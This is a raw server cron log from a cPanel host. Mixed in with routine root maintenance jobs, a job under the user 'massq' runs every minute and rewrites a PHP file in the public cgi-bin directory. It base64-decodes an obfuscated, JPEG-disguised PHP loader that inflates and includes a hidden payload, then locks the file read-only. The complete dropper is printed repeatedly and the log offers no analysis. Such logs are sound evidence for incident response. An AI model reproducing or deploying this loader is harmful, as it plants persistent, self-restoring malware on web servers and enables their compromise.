Sep  5 05:00:01 server CROND[31635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:00:01 server CROND[31634]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 05:00:01 server CROND[31633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:00:01 server CROND[31639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:00:01 server CROND[31636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:01:01 server CROND[32477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:01:01 server CROND[32476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:01:01 server CROND[32478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:01:01 server CROND[32479]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 05:01:01 server run-parts(/etc/cron.hourly)[32479]: starting 0anacron
Sep  5 05:01:01 server run-parts(/etc/cron.hourly)[32496]: finished 0anacron
Sep  5 05:02:01 server CROND[408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:02:01 server CROND[409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:02:01 server CROND[407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:03:01 server CROND[822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:03:01 server CROND[823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:03:01 server CROND[824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:04:01 server CROND[1387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:04:01 server CROND[1389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:04:01 server CROND[1390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:05:01 server CROND[1782]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:05:01 server CROND[1783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:05:01 server CROND[1786]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  5 05:05:01 server CROND[1793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:05:01 server CROND[1799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:05:01 server CROND[1801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:05:01 server CROND[1802]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 05:05:01 server CROND[1798]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:05:01 server CROND[1800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:06:01 server CROND[2721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:06:01 server CROND[2723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:06:01 server CROND[2724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:07:01 server CROND[3115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:07:01 server CROND[3116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:07:01 server CROND[3117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:08:01 server CROND[3543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:08:01 server CROND[3544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:08:01 server CROND[3545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:09:01 server CROND[4031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:09:01 server CROND[4032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:09:01 server CROND[4033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:09:01 server CROND[4034]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 05:10:01 server CROND[4432]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:10:01 server CROND[4433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:10:01 server CROND[4435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:10:01 server CROND[4437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:10:01 server CROND[4440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:10:01 server CROND[4431]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:10:01 server CROND[4452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:10:01 server CROND[4458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:11:01 server CROND[5282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:11:01 server CROND[5281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
